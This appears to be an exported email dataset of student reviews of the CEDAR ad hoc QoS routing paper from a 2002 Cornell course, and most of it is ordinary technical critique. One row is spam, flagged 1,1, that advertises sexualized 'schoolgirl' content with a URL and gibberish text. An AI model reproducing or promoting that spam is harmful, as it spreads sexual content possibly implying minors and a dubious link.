Distributed Ad hoc Routing algorithm The paper has as a goal to design and present a QoS routing algorithm for ad hoc networks. But, I believe, it falls far short of its goals: the design seems lacking, the presentation poor, and the ""ad hoc network"" part appears to be an afterthought. On the bright side, I do see some contributions. Among them: - Traditional broadcast is replaced with unicast along a tree structure. Unicast is an order of magnitude more reliable than broadcast in mobile networks, so it is probably the case that their approach is not only more efficient and perhaps faster, but more reliable as well. - Routing updates are classified as either ""increases"" or ""decreases"". Each type of message is flooded (using the multicast tree) to the netowork at a different rate, so that ""decrease"" messages can overtake prior ""increase"" messages. - An attempt is made to spread routing information a distance proportional to the usefulness of the information: better links are advertised further. Aside from the numerous and typical complaints (""updations"" is not really a word, poor evaluation, less than thorough simulation, etc.) are some serious ones: - They appear to use a reservation system, but this is not presented or even mentioned. - The simulation is poorly presented, and as it stands seems downright bizarre. Why is average node degree always a whole number? Why no mobility in the evaluation? Is there a reason for using a square transmission range? And is there really no transmission model, congestion, or collisions, or was that just left unmentioned? - The results, presented in table format, are meaningless to me (perhaps I did not invest the time to understand them properly, though). - As in another paper, the authors attempt to redefine ""minimum"" to be ""what we implemented"", when in fact they present no compelling reasons or evidence that their routes will be even close to minimal in realistic settings. Also, a ""shortest path"" is not defined as the path taken by the fastest message delivery. - In my view, the most glaring and problematic assumption is buried in section V, subsection B: ""The bandwidth that can be provided on a path is the minimum of the individual available link bandwidths on the path."" In a shared medium, is this really the case? In a path A-B-C where both links are 10mbit, the A-C path will have only 5mbit available, since B must transmit each message twice. Worse, assuming bidirectional flow, it might have as little as 2.5mbit in each direction. ",0,0 Syed Shafat Zaman ,Emin Gun Sirer ,"Mon, 23 Sep 2002 23:11:28 -0400",615 PAPER 19,"This paper presents a cluster-based routing algorithm called CEDAR, for mobile ad hoc wireless networks. It is tailored, more specifically for QoS routing, and regards bandwidth of links as the most important parameter. The network model comprises of clusters of nodes, each headed by a core node. Path creation and maintenance are carried out by these core nodes, while other nodes only maintain localized information of their neighbors. One aspect of CEDAR that I found quite interesting was the implementation of increase and decrease waves. The difference in the propagation speeds of these two types of waves is a clever idea of ensuring that stale information do not travel too far away from the origin. The paper, however, could talk more about the function that decides on the TTL value of link updates and study its performance in the simulation. The basic QoS routing algorithm is quite simple and straightforward. It minimizes the overhead cost of sharing link-state information. However, the paper does not address the load factor of core nodes and how it affects the network once a core node fails. Power consumption in these core nodes could also be considerably higher than the rest (according to last week's papers), and failure might be very common in reality. Another point noted in the simulation was the maximum number of nodes used - 30. This makes it harder to predict the actual performance of CEDAR in a larger setting. It also undermines the strong characteristics, like robustness, CEDAR displays through the simulations. ",0,0 Aleksandr Gilshteyn ,egs@CS.Cornell.EDU,"Mon, 23 Sep 2002 23:12:18 -0400",615 PAPER 19,"In this paper the authors present us with CEDAR, a routing algorithm for QoS routing in ad hoc networks. The goal is to provide routes that are very likely to satisfy the bandwidth requirement of a route. In order to do this, CEDAR tries to compute unicast routes that satisfy a minimum bandwidth requirement from the source to the destination. This minimum bandwidth is supposed to be supplied by the application requesting a connection, which might be a problem if you want applications that were not designed specifically for this algorithm to work with it. Some of the assumptions that the authors make are that the paths are bidirectional and that the MAC/link layer can estimate the available link bandwidth. These might or might not be reasonable depending on the network. The authors use a simple constant time algorithm to calculate the minimum dominating set of the core. While it generates good approximations for MDS in the average case, the authors neglect to mention what happens in the worst case. The algorithm deals well with link failures that occur very close to the source or destination, but it fails to react fast enough if the failure is somewhere in the middle and a large number of packets can be lost. It would be interesting to see how much power the core nodes have to spend compared to non-core nodes, if the difference is very big then it would be a problem. Despite its shortcomings, the algorithm does have a lot of positives. The routing computation is performed by core nodes only using only local state, which makes it efficient and scalable. The algorithm also tries to propogate only stable high-bandwidth link-state throughout the core, and keep low-bandwidth and unstable link-state local, which is good for avoiding bottlenecks. Also, the core path provides a simple backup route if the QoS route is not available, which makes the algorithm more reliable. Finally, the authors made an implementation of their algorithm, which is more than what most others have done. Of course, it would be nice to see any kind of results derived from that implementation. ",0,0 Xin Zhang ,Emin Gun Sirer ,"Mon, 23 Sep 2002 23:14:29 -0400",615 PAPER 19,"There are two main points in this paper: core-based algorithm and QoS (with respect to bandwidth) routing. Cores are elected by neighbors, thus the distance between any two cores is at most 3. It may be done further to enlarge the neighborhood but let the nodes 2 or more hops away elect their dominator, thus further shrink the dominating set. The good point is that the election is local although may not necessarily optimal. The shortcoming is in the case of a -> b -> c -> d with a and d are cores, when b wants to send to c, there will be a detour. But a possible solution here is that, since every node maintains a neighbor table, it should firstly search in its neighbor table for the destination before trying to route the packet through its dominator. QoS routing is achieved by using of increase/decrease wave msg. But there maybe a problem (or a typo) here at the second case sub-case (b) for the handling of increase wave: bw(a, b) in cache should be updated after forwarding is done. The establishment of the core path is kind of a DSR alg. in multi-path version (then the path is chosen to satisfy QoS requirements). So there are problems similar in DSR. Also, the paper didn't mention how the path between neighboring cores are decided and how the dom(d) is found. The use of RTS-CTS to relieve the problem of hidden-exposed terminal problem and the duplicate rebroadcast should be a very good approach. ",0,0 Piyoosh Jalan ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 12:26:56 -0400",615 PAPER 19,"CEDAR: a Core-Extraction Distributed Ad hoc Routing Algorithm In this paper CEDAR a QoS routing algorithm for mobile ad hoc networks is presented. In CEDAR a core of the network is dynamically established which is a subset of the network. Stable high bandwidth links are incrementally propogated to the nodes of the core. Each core node is responsible for mainitaining local topology of the nodes in its domain and perform route computation on behalf of these nodes. The major goals acheived in this paper are - The core broadcast which is used for propagation of increase/decrease waves uses unicast transmission instead of broadcast. As flooding is lossy which wastes lot of network and battery resources this results in saving a lot in terms of network resources. - A change in network topology causes a recomputation of the core graph in the locality of the topology change and hence does not involove recomputation of the entire core graph. - The use of core based network topology management requires use of few nodes for state managemen thus minimizing overhead. - Since broadcasts are highly unreliable due to the presence of hidden and exposed nodes so reliable unicast channels computed by the core nodes are expected to be more reliable. - Use of increase/decrease waves with different propagation speeds for establishment of core path in route computation phase. The difference in propagation speeds of these two type of waves ensures that information about unstable links are propogated faster. The major weaknesses in the paper are -There is geater load on core nodes as compared to other nodes in its domain and hence more consumption of battery power. So keeping the chord nodes up for a long time is a challenge which is not addressed in the paper. - As all the messages are routed through the core nodes resulting in narrow links between core nodes other nodes in its domain. The paper does not much discuss on load balancing. Also some some simulation results pertaining to this could be provided. - The paper also does not discuss the implications if a core nodes fails. ",0,0 Mark Robson ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 00:57:17 -0400",615 PAPER 19,"This paper present CEDAR: A Core-Extraction Distributed Routing Algorithm. The primary contribution is an interesting algorithm that can identify ""core"" hosts and use them to establish a sort of backbone for the network. Each node chooses a ""core"" or super node from amongst it neighbors to communicate with, and route all packets destined for far away hosts through this core node. This way, non-core nodes need only know about their nearby neighbors and one core. Core nodes communicate amongst themselves via some other routing protocol (DSR, AODV, etc.) Although you could still construct situations where the network diameter is arbitrarily large, this has the nice property of helping to bound the diameter. If everyone chooses a ""core"" that is within some fixed number of nodes, then the network diameter is proportional to the diameter of the core network. The goal is then to arrive at a minimal set of core nodes such that all nodes in the network have a core with which to communicate. This is an NP-complete task and worse still is that most approximation algorithms require global knowledge of the network to implement. They devise a local knowledge only algorithm to approximately find this minimal set. The algorithm works by each node deciding for itself who amongst its neighbors and itself would make the best core node. This algorithm forms the primary contribution of this paper. Their goal is to optimize for QoS, specifically bandwidth, and their performance analysis is heavily skewed towards it. Although it seems that things like latency aren't adversely affected by their protocol, they don't really mention any of these other performance metrics. Packet loss doesn't seem to be a big issue since nodes broadcast packets (beacons) at regular intervals, however, what may be more of a concern is node failure, specifically failure of a core node. Since they are reducing the networks tolerance for node failures, they should have provided analysis of this problem in the paper. Future work might look at optimizing on other metrics besides bandwidth, specifically latency. Many applications require low latency, but don't have high bandwidth requirements. One might look at how this would work with their proposed protocol. -- Mark Robson ",0,0 Janet Suzie Yoon ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 00:57:20 -0400",615 PAPER 19,"CEDER is an algorithm for QoS routing in an ad-hoc network. The main goal of CEDER is to compute unicast routes that satisfy the bandwidth requirements with a high probability. An approximation of the minimum dominating connecting set of host in the network (known as the core) performs all the route computation and state propagation. The core, which is established via local elections in constant time, provides a mean to dynamically create and maintain routes efficiently with very little overheard. This is due to the fact that each node in the core is only concerned about local state for route computations. As usual, it is assumed that all links in the network are bidirectional. It is also assumed that the MAC and routing layer are closely coordinated and the two layers can estimate the available bandwidth and the source host can compute the minimum bandwidth needed to communicate to its destination. It was mentioned in the paper that optimality of routes are sacrificed for the ability to efficiently compute good routes. It would be more efficient for nodes to communicate directly with their neighbors instead of via their dominator. It is even more inefficient if two neighboring nodes happen to have different dominators. Also, any node u must periodically broadcast a beacon to aid in core computation and maintenance. These periodic decreases the available bandwidth significantly while also making contention and collision a much greater risk. ",0,0 mike polyakov ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 01:23:16 -0400",615 PAPER 19,"This week�s paper introduces an effective cluster-based protocol, CEDAR.  It�s novelty and contribution lies is in computing good routes using only locally available state, i.e. with minimum overhead, that also satisfy bandwidth requirements imposed from above.  A combination of interesting techniques are used to accomplish this  core graphs, increase/decrease waves, core-limited broadcasts and local state-based routing.  For stable networks it is claimed to approximates link-state algorithms, and good behavior is promised in a dynamic network.  The evaluation in simulation is very promising. Unlike some of the previously reviewed protocols, there are obviously no extravagant assumptions; at first glance the approach appears very solid.  However, there is a nagging suspicion of some hidden problems.  The ideas of using local state and propagating only the most stable and high bandwidth links is indeed valuable, and the increase/decrease waves present a clever implementation.  The treatment of broadcasts as unicasts on the core graph is also advantageous.  But something is amiss.  Why are the trends in Tables I and II reversed?  how are bandwidth requests propagated? (this isn�t discussed at all, except to say that they are assumed to be instantaneous!)   Finally, how does the whole system perform in a dynamic environment?  The simulation only covers a static environment and the case where 1 link fails.  And even there  in case of link failure, which recovery mechanism is to be chosen? Aside from these questions that can surely be resolved, CEDAR seems to fulfill many of the goals posited for MANETs in this and other papers.  Simulating it, and preferably implementing CEDAR on larger networks, with mobility would be the first extension of presented work.  Extending QoS to other metrics, delay reliability, etc, would be another.  How useful are various caching optimizations and what improvements could they provide?  Finally, what actual adjustments need to be made for well-behaved scaling, if any?",0,0 Hubert Sun ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 08:22:08 -0400",615 Paper 19,"CEDAR is the first paper we have looked at which is based on clustering. CEDAR tries to established routes based on bandwidth. This is the performance measurement it uses and in this way it is Quality of Service algorithm which tries to satisfy minimum bandwidth requirement of a node. CEDAR has three main parts to it: finding the core graph, propagation of bandwidth information amoung the core, and route computation. One of the goals with having core nodes is to minimise the changes in the network core when topology changes. Changes are only effect local neighbour hoods, and other core nodes do not have to worry about this. CEDAR also has this idea of increase and decrease waves to denote high bandwidth stable links and short unstable low bandwidth links. This is the basis of how CEDAR calculates routes based on bandwidth. The idea is that short decrease waves are only travel far enough to be local within a neighbour hood, and long increase waves are used for links between neighbourhoods. In this way, short unreliable links do not need to be propagated to the whole network, where as more important stable bandwidth information is. There are many ideas in this paper that I like about CEDAR, and it would be interesting to see how this algorithm work in real life. Though they have many tables and results from simulations, they only briefly mention their implementation on Linux. They only briefly mentioned that there were implementation difficulties. What they found on the Linux implementation would have been interesting. Some things research would be to see how having core nodes and effectively a hierarchy effect the other properties of an ad-hoc network. Intuitively, core nodes are used more and require more computation and communication power. This probably means that they can be a bottle neck and their battery power (which we have established is important) can run out quickly. Perhaps the electing of a core node should take into consideration whether the core can handle the work that is required from it. And for practical reasons, one would like to research, does typical ad-hoc network really need this sort of structure? Do ad-hoc networks typically get large enough and stay alive long enough to require a hierarchy structure? ",0,0 Sean Welch ,Emin Gun Sirer ,"Tue, 24 Sep 2002 10:42:21 -0400",615 PAPER 19,"CEDAR CEDAR is an algorithm designed to provide QoS routing for ad-hoc networks. The CEDAR protocol first seeks to build a set of core nodes from the network set such that every member of the core set (the dominators) is elected by the local nodes. Local nodes select a dominator based on the local (no-hop) node with the largest number of neighbors. Once the local dominator is selected, individual dominators establish virtual links by broadcasting the join message out three hops from the originating dominator. Once the core set is established, transmissions are accomplished in a reactive fashion. If necessary, the local dominator first determines a core path to the local dominator of the destination node. The destination dominator replies with an acknowledgement. Once the core path is establshed, the source dominator attempts to find a path meeting the requested bandwidth that transverses the maximum possible distance (furthest dominator region based on the core route path). Within the same distance, the highest bandwidth is chosen. If this route did not reach the destination but did reach an intermediate node, the intermediate node repeats the routing as if it were the source, and catenates the two paths. If no route meeting the desired bandwidth is possible, the connection attempt fails. CEDAR adjusts to dynamic topologies in three ways. The first is the case where a link/node is severed. CEDAR performs both a route recomputation at the failure point to re-route in-flight packets, as well as a source route recomputation (once notification arrives) to re-establish the link. This is intended to provide both long-term and short term re-routing. The second case is the movement or removal of the dominators. Due to the dynamic election of dominators, a node should be able to select or elect a new dominator based on the beacons of other nodes once the failure is detected. The final adjustment is the case where a given link encounters a net increase or decrease in link bandwidth. Upon significant bandwidth changes, nodes will transmit either an ito (increase) or dto (decrease) packet to the local dominator. The node will also set a TTL based on the bandwidth change, restricting the number of hops over which to propagate the information. This helps to localize all but the most stable, high-bandwith links, reducing the communication overhead. In addition, dto packets propagate faster than ito packets, helping to quash dynamic link variations. CEDAR is an interesting protocol. Personally, I like the fact that CEDAR makes use of the actual network structure to simplify system routing. The implementation of the core set in a distributed fashion should permit reasonable scaling, and the limited distribution rate for information strikes an interesting balance in the system, permitting more efficient use of static or pseudo-static links. The simulation results were also interesting, in that they show the protocol's behavior, its evolution over time, and the reaction to failure conditions. They show only limited comparisons to other routing methods in this work, but given that they chose to use their simulation results to better illustrate their work, I can accept that. One downside I see is that the protocol does not consider the effect of dominators on network longevity. Setting up a core set has advantages, but also places an increased load on the core set. Depending on the network application, this additional load may significantly impact network longevity and cause premature node expiration. It also seems (to me) that the addition of some form of naming structure based on the information extracted in selecting dominators could simplify further the issue of routing, especially in the case of a network consisting of a number of stable, high-bandwith nodes in addition to more mobile hosts. ",0,0 """Andrew E. Davis"" ",egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 10:45:36 -0400",615 Paper19,"The paper ""CEDAR: a Core-Extraction Distributed Ad Hoc Routing algorithm"" introduces a new paradigm of Quality of Service(bandwidth) in evaluating wireless area networks. CEDAR defines the optimal route to be shortest-widest-path, while introducing new goals for QoS in wireless ad hoc networks: First, all connections must specify required bandwidth. Second, state propagation(specifically available bandwidth) must be kept to a minimum, high bandwidth link information needs to propagate quickly, low bandwidth does not. Finally, routes most converge towards optimal routes over time, but simplicity and robustness of the algorithm and implementation is more desired then most optimal route. CEDAR establishes the concept of a core-nodes that engage in route discovery and link-state maintenance in order to minimize the overhead and redundancy of involving all nodes. By choosing a dominating set of nodes, CEDAR provides quick access to the routing information for all nodes and reduces local broadcasts. CEDAR develops the concept of QoS by effectively describing the stability and bandwidth of links. CEDAR uses a slow-moving increase bandwidth wave and a faster-moving decrease-bandwidth wave. For un-stable links that go up and down often the faster moving wave dominates, and reports low-bandwidth. Stable links slowly increase in bandwidth. This concept uses the motion of waves to effectively compute the temporal and capacity properties of the links. CEDAR divides routing into 3 components: route establishment, establishing stable route through the core, and re-establishing of failures after topology changes. CEDAR could easily be implemented using the any of the previously discussed routing algorithms on-top of the CEDAR layer gathering bandwidth data, but the authors have chosen to implement their own. CEDAR, unlike most papers to date, does include both a performance evaluation on real hardware and a simulation. The evaluation is quire in-depth but does not provide a base of comparison with algorithms it previously cited. The hw implementation used wireless infared-technology which has widely different properties the 802.11b which has been used in previous papers. ",0,0 Thomas Roeder ,Emin Gun Sirer ,"Tue, 24 Sep 2002 10:53:31 -0400",615 PAPER #19,"CEDAR seeks to be an algorithm which will allow Quality of Service paths to be quickly discovered and maintained in the network, so that those nodes which need good paths can find and use them, and that the low-bandwidth paths will not be overused. Because of this goal, QoS is the main metric they consider in the paper. They are also setting up a unique core structure which routes packets for all the non-core nodes in their neighborhood. In contrast to some other papers that we have read, I find this paper to be clearly laid out and well-written; I understood quickly and easily most of their points. One point, however, was the complaint about broadcasts: ""broadcasts are highly unreliable in ad-hoc networks"", which is based on the authors' experience, and is mainly a complaint about the hidden-terminal problem. I agree to a certain extent, but would not that in the wireless medium, even unicasts are broadcast, and so you avoid flooding, at least, but not some inherent hidden-terminal issues. Furthermore, you will not be able to avoid some level of local broadcast to establish the initial topology of the network, as is noted in the paper (they claim that you can use any of the standard routing protocols for the core, all of which use some sort of broadcast, and try to avoid the hidden terminal problem in other ways). Another concern of mine is that the approximation algorithm that they are using to get the MDS of the graph is not proven, in this paper, at least (it might be well know to have this property), to get near the MDS for some definition of near, but is rather simply claimed to do so. Given that their QoS routing depends for its quality on having a good approximation to the MDS, I would have thought it important to address the approximation very carefully. There are at least two parameters which I would also like to see addressed in greater detail. The first is the speed at which the increase waves propagate through the network. It seems to me that the choice of this value will greatly determine the stability of the route calculations. The second is the function used to calculate the ttl sent out for a given link. It is likely that the naive choice of linearity in the available bandwidth is not the optimal choice. Further work could look at these parameters in CEDAR and try to discover how their choice affects the performance and availability of high-bandwidth links. Two other quick points to examine: what happens in very sparse graphs where every node is in the core? Should there be some way to determine that the graph is wonky? ie. what if there are no particularly high-bandwidth links, and everything is fairly bad? There ought to be a way to detect that CEDAR is not going to buy us much and drop to a simpler protocol. ",0,0 vrg3@cornell.edu,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:10:12 -0400",615 PAPER 19,"This paper presents CEDAR, a routing algorithm whose main intent is to provide robust and efficient routing with QoS capability, by using a core: a ""backbone"" subset of all nodes, which form a dominating set. The idea of replacing a broadcast with a series of unicasts along the core is something of an evolution of the clustering solution to the broadcast storm problem we studied in the earlier paper. Like TORA, CEDAR does sacrifice optimality in order to achieve its other goals such as robustness and locality. However, CEDAR's routes do approach optimality as time goes on. The QoS discussion was interesting. There is one major problem that I see, however; the paper claims that ""the bandwidth that can be provided on a path is the minumum of the individual available link bandwidths on the path."" Without unacceptably high latency, a wireless MANET's paths will have bandwidth less than any of the individual links because a) typically mobile wireless stations have only one radio which can either transmit or receive at any given time, and b) the reception and transmission happen in the same medium. ",0,0 Adam Kravetz ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:03:15 -0400",615 paper 19,"CEDAR is a an algorithm that tries to provide QoS routing in ad hoc networks. The three key components of it are the core, increase/decrease waves, and QoS route computation. The goals of the alg is to have distributed route computation, local state route computation (not global), few nodes in state propogation, nodes only care about routes w/ destinations, stale routes need detection, avoidance, elimination, broadcasts must be avoided, stable routes should converge to optimal routes, backup routes when possible. These lofty goals are somewhat accomplished in CEDAR. The idea behind CEDAR is to build this 'core' which is a dominant set S of the connected graph G. These special nodes that makeup the set S carry the burden of establishing, routing, and managing traffic over the air waves. They are put in place by a self election system, implemented in a slightly clever way. Once the core is established then messages are sent to each nodes dominator in order to be passed across the network. The RTS/CTS system allows the dominant (core) nodes to manage the traffic across the network. Further as more or less bandwidth is available for a node, a message is propogated (as a wave, that dies w/ a TTL bit) through the network by the dominated nodes. Finally the QoS of the system is enforced by the dominants noticing the links go down, and finding a way to reroute (dynamically) to the nodes new location. I think this paper has a bunch of very good ideas. The broadcast storm problem has been adressed, by limiting the alg to have only local broadcasts, there are very few (if any) floods of the entire network (unless the entire network is just one dominant node, in which the network is simply peer-to-peer anyways). The performance evaluation is nice and shows that under at least some conditions CEDAR can perform well. Despite the many good contributions to this paper, I think there are some major problems. It addresses the flooding problem, but it doesn't address the bit about reliability of networks. Ad-hoc needs a fall back system... if one RTS/CTS sequence gets missed, that's a problem. Second I what happens if a dominant node moves? Won't whole chunks of the network get potentially cut off from each other? What about power efficiency? If the dominant node is getting hammered w/ transmissions and work is that ""fair""? How long does it take to establish a dominant system? What happens w/ contention and rapid network movement? This alg seems to work for mostly stagnant ad-hoc networks, but not something where people would be moving fast (like on a conference floor). I think that a good next step would be to add some sort of robustness, and allowance for dropped packets in this system. I don't think any ad-hoc network will be able to truly successful w/ out the admittance that there will be loss, potentially lots of it. ",0,0 Hongzhou Liu ,Emin Gun Sirer ,"Tue, 24 Sep 2002 11:12:15 -0400",615 PAPER 19," This paper presents CEDAR, the first cluster-based routing protocol we have seen in this class. In CEDAR, each node nominates one node among all the 1st neighbors as its dominator. The core graph consists of all these dominators. Each core node maintains only local states and some global information pertaining to those stable, high-bandwith links. CEDAR uses increase/decrease waves to propagate link states. Links with different bandwidth initiate waves with different ttl. CEDAR proposes ttl proportional to bandwidth, which guarantees that information about high-bandwidth links can be propagated far away while limits the scale for propagating low-bandwidth link states. Based on these core-extraction and state propagation schemes, it's possible to to use some well known ad hoc routing protocols in the core graph. CEDAR proposes a QoS routing protocol that uses source routing to find a path between the dominators of the source and destination, and then follows this core path as direction to build a source-to-destination path with quality guarantee. CEDAR reacts to link failure very quickly. Once a link fails, the node before this link will initiate a local route recomputation to find a new path to the destination. Meanwhile, it will notify the source node about this failure. Thus the source node will recompute the route to the destination. Good points: 1. CEDAR uses core broadcast instead of flooding. Core broadcast is based on reliable unicast(using RTS-CTS ect.) and can reduce the amount of unnecessary broadcast messages. 2. CEDAR uses different ttl for links with different bandwidth, and lets decrease-wave move faster than increase-wave. Thus low-bandwidth and unstable link-state are kept local while stable high-bandwidth link-state is propagated throughout the core. 3. A backup route is found just as the byproduct of the primary route, thus no overhead is introduced by the backup route. weakness: CEDAR doesn't always find the optimal route. Another problem is about the simulation. Although the paper claims CEDAR is applicable to small to medium networks with tens to hundreds of nodes. The simulation only shows result with at most 30 nodes. I believe when the networks become larger, the optimality will be hurt further. ",0,0 Sangeeth Chandrakumar ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:22:50 -0400",615 PAPER 19,"Submitted by - Sangeeth Chadrakumar CEDAR : A Core-Extraction distributed ad-hoc routing algorithm This paper presents a routing algorithm called Core-Extraction Distributed Ad hoc Routing (CEDAR), which supports QoS routing in ad hoc network environments. The main goal of CEDAR is to provide routes that are highly likely to satisfy the bandwidth requirement. CEDAR establishes a core of the network, then propagates the link state to the nodes of the core. Route is computed on-demand at core nodes using only the local information. The core is an approximation of a minimum dominating set of the under-lying network i.e., every node is either a core node or has a link to a core node. Periodic updates by each node carrying the number of neighbors and the number of nodes for which it is a core, helps to maintain this dominating set. The efficiency of this method (how close to the minimum dominating set it actually gets) however is not evaluated. The set of core nodes are then expected to maintain virtual links (of length atmost 3) among the neighbors in the core graph. Broadcast of rotue requests to the core-neighbors is done by unicasting through the virtual links and caching RTS/CTS information inorder to make broadcast efficient. However the RTS/CTS is a scheme usually implemented in hardware and to change a hardware implementation is not a very easy task. To incorporate the BW guarantee into establishing a path between a source (S) and a destination (D), the paper proposes the use of two signaling packets, ito and dto. Each constituent node under a core node's charge is responsible for monitoring the link BWs with its neighbors, and periodically reports this information to the core node via either ito (detecting an increase in BW) or dto (detecting a decrease in BW). This information is useful in assisting the core nodes to identify a suitable route that meets the BW requirement of a data transmssion. The ito-queue and dto-queue located in a core node are flushed in a way that ensures that the news of decreasing BW propogates much faster than the news of increasing BWs. Comments: One of its strengths is the scalability. Localizing the exchange of link-state information within the core node's coverage allows a new node moving in and out of this coverage to freely associate with and dissociate from the core node. Because each core node only possesses the knowledge of its constituents' link-state information, BW is conserved. The simulations were weak. They postulate that CEDAR can handle tens to hundreds of nodes, but then proceed to evaluate with 6 nodes. Later, they move to some simulation model [30nodes], but not much details are provided on the real model behind the simulation. The algorithm also assumes bidirectional links. The algorithms are not power-aware. core nodes' batteries would be quickly depleted. Besides, the core nodes get overburdened with packets, and the QoS would slide down. ",0,0 Dominique Keith ,egs@cs.cornell.edu,"Mon, 23 Sep 2002 20:00:54 -0500",Greetings from Benin appoint," Yummy $cho0lgirl$ worldwide http://jsheffielhl.com >>> doutput toward deccrtl among uskelparese 186503 >>> arfy against ndeschraube ieej ",1,1 Karan Suri ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:46:17 -0400",615 Paper #19,"This paper discusses a new routing implementation called CEDAR: a Core-Extraction Distributed Ad hoc Routing Algorithm. One of the primary advantages or feature of CEDAR is that it supports QoS routing, which is the prioritization of applications that are transported through networks, to ensure that ""mission critical packets"" are sent even in times of network congestion (in this case ad hoc ones). At the heart of the CEDAR Architecture is this notion of nodes communicating solely with ""core nodes"" that are in the vicinity of them. These core nodes are responsible for the discovery and maintenance of all nodes that are communicating with it. This ""dominating set of core nodes"" is known as the spine architecture that limits the high costs of memory exhaustion and bandwidth consumption associated with network broadcasts. The next feature is the use of increase and decrease waves (an interesting new method of propagation) through which routes satisfying certain bandwidth thresholds are discovered and maintained in an effort to ensure that the route can support QoS. One of the weaknesses of the CEDAR algorithm is the limitation on the types of network topology that CEDAR can support. First, the authors contend that the protocol can support networks up to hundreds of nodes. Their simulation unfortunately isn't close to that level of scalability. Second, I think that the simulation also needs to address how CEDAR performs in clustered compared to non-clustered networks. Also, I was interested in seeing the amount of memory and power that is conserved with a spine architecture in a less clustered distribution. Also, just reading about power conservation peeks my interest in examining the level of power consumed in a spine architecture, specifically, amongst the ""core nodes."" This may have some deleterious effects in sustaining larger networks. I think the biggest issue with QoS in general is the level and number of parameters that need to be set in order to ensure that mission critical data is sent. Also, as the network topology changes and more nodes add and some nodes leave the network, these constraints need to be recalculated and maintained which can prove to be difficult and exhaustive. Calculating these constraints (i.e. threshold's for bandwidth) are significant to maintaining a QoS network. ",0,0 Milo Polte ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:56:27 -0400",615 Paper 19,"In this paper the authors design an ad-hoc routing algorithm to provide some measure of confidence in bandwidth assurances (Quality of Service). To reduce bandwidth, most topographical updates and bandwidth changes are broadcasted only towards key nodes in the network (those positive increases in bandwidth are advertised globally) a feature which is achieved through the maintenance of a vertex covering subset of the graph (the core). All the nodes in the core maintain total knowledge bandwidth on local links and partial knowledge of high bandwidth on other parts of a network. This paper is notable in that it is the first one we've looked at with QoS assurances, though not guarantees and real elitism in routing decisions (that is, certain nodes are more responsible for it then others). The presence of both simulation and implementation are impressive and while they suffer from all the typical foibles (i.e. there's no real network model to their simulation, their entire algorithm assumes bidirectional links, etc.) it is rigorous in many regards (e.g. one appreciates an explicit section on the effects of link failure). However some omissions are unforgivable: For example, they mention 'time complexity' in their performance measurements, but are actually just measuring seconds this particular case took, which is a measurement contingent to particular circumstances. Also while they say that their algorithm calculates a close to minimum core set, I would like to see a proof of its efficiency (or even a citation). ",0,0 Alan Shieh ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:57:27 -0400",615 PAPER 19,"The central idea behind CEDAR is the use of a ""core"" dominating set of nodes to store and propagate routing information. Conceivably, such a set would be smaller and have lower degree than the original graph. A distributed, constant time algorithm is provided for generating an the core, which is used to construct a connected overlay network. Since the degree of this overlay is (supposedly) low, broadcasts may be implemented using unicast without much additional cost. Since the overlay has smaller diameter and fewer nodes, on-demand route discovery has lower cost. Routing information is propagated through the core. Since every node is at most one hop from some core node, each node always has access to some routing information. CEDAR assumes that the probability of bandwidth being available through a link for some path drops as the distance from the link to the endpoints increases; therefore, routing information is propagated a number of hops proportional to the bandwidth of a link. CEDAR also employs asymetric propagation of bandwidth updates in which bandwidth decreases are propagated much faster than increases; this approach reduces bandwidth usage from some outdated information, provides hysteresis against instability, and also conservatively helps QoS reservation (by quickly propagating reservations across the network). * Shortcomings - The paper claims that a RTS/CTS caching scheme at the MAC layer can prevent very many extraneous unicasts during core broadcast (at most one per node, ""when nearby nodes are a distance 3 apart""). However, the RTS/CTS exchange only protects against the hidden/exposed node problem for the initiator and receiver; the intermediate node has not protected its own airspace. - There were many problems with the evaluation. Very few datapoints were provided. There is no way to tell how the performance ratio between optimal routing and CEDAR scales with network diameter (in fact, the tested diameters are tiny). It was not clear what the sources of routing failures were in the absence of ito/dto waves. Does this mean that QoS reservations were not propagated as quickly? Also, the authors did not explain where all the lost packets went in the recovery process; the numbers in the column don't add up. Did they get misrouted and ignored? They should have compared the recovery of CEDAR with that of DSR, since both use source routing and support some sort of full route-aware rerouting. * Extensions - All state info is stored in the dominators, which means that the non-dominating nodes have unutilized space. Moreover, dominators are, by nature, hotspots in the network. Perhaps these facts can be used to implement dominator load balancing. - Quantify more precisely the loss due to greedy routing to the furthest possible core node. - The TTL calculation and propagation strategy assumes uniform traffic patterns within a network. The loss of efficiency in the presence of hotspots should be analyzed. Also, an asymetric propagation technique maybe useful for providing back pressure to portions of the network that are hogging bandwidth (for instance, on one particular side of a link) ",0,0 Matt Piotrowski ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 11:59:57 -0400",615 Paper 19,"There are three major contributions of this paper. One is a hierarchical routing algorithm for mobile ad hoc networks. This is important because a hierarchical scheme can greatly reduce the effect of broadcasts, and has the potential to scale much better than other schemes. Related to this contribution, is the contribution of an election algorithm for selecting the backbone of an ad hoc network. This is essential to forming the hierarchy used in the routing algorithm presented in this paper, but also is important to other ad hoc systems, such as peer-to-peer networks. The third major contribution is a routing algorithm that is concerned with QoS based on bandwidth. This is important because some applications need bandwidth guarantees and the fact that they are running over an ad hoc network should be transparent to them. A weakness of the paper is the lack of QoS analysis with respect to things such as delay. I know their protocol is based on bandwidth guarantees, but I think that delay is also important to the applications that would want these guarantees because a large bandwidth does not necessarily mean low delay, and so I'd like to see more analysis of this. It would be interesting to see larger simulations of this protocol. I think that in terms of scalability, hierarchical schemes are the most promising of the ones we have seen so far. The authors recommend the protocol for small to medium size networks; however, the work in the paper lays a good foundation for performance in large networks. ",0,0 Emin Gun Sirer ,egs@CS.Cornell.EDU,"Tue, 24 Sep 2002 13:32:22 -0400",615 PAPER 19,">From linga@CS.Cornell.EDU Tue Sep 24 11:59:20 2002 >Date: Tue, 24 Sep 2002 11:59:19 -0400 (EDT) >From: Prakash Linga >To: Emin Gun Sirer >Subject: PAPER #19 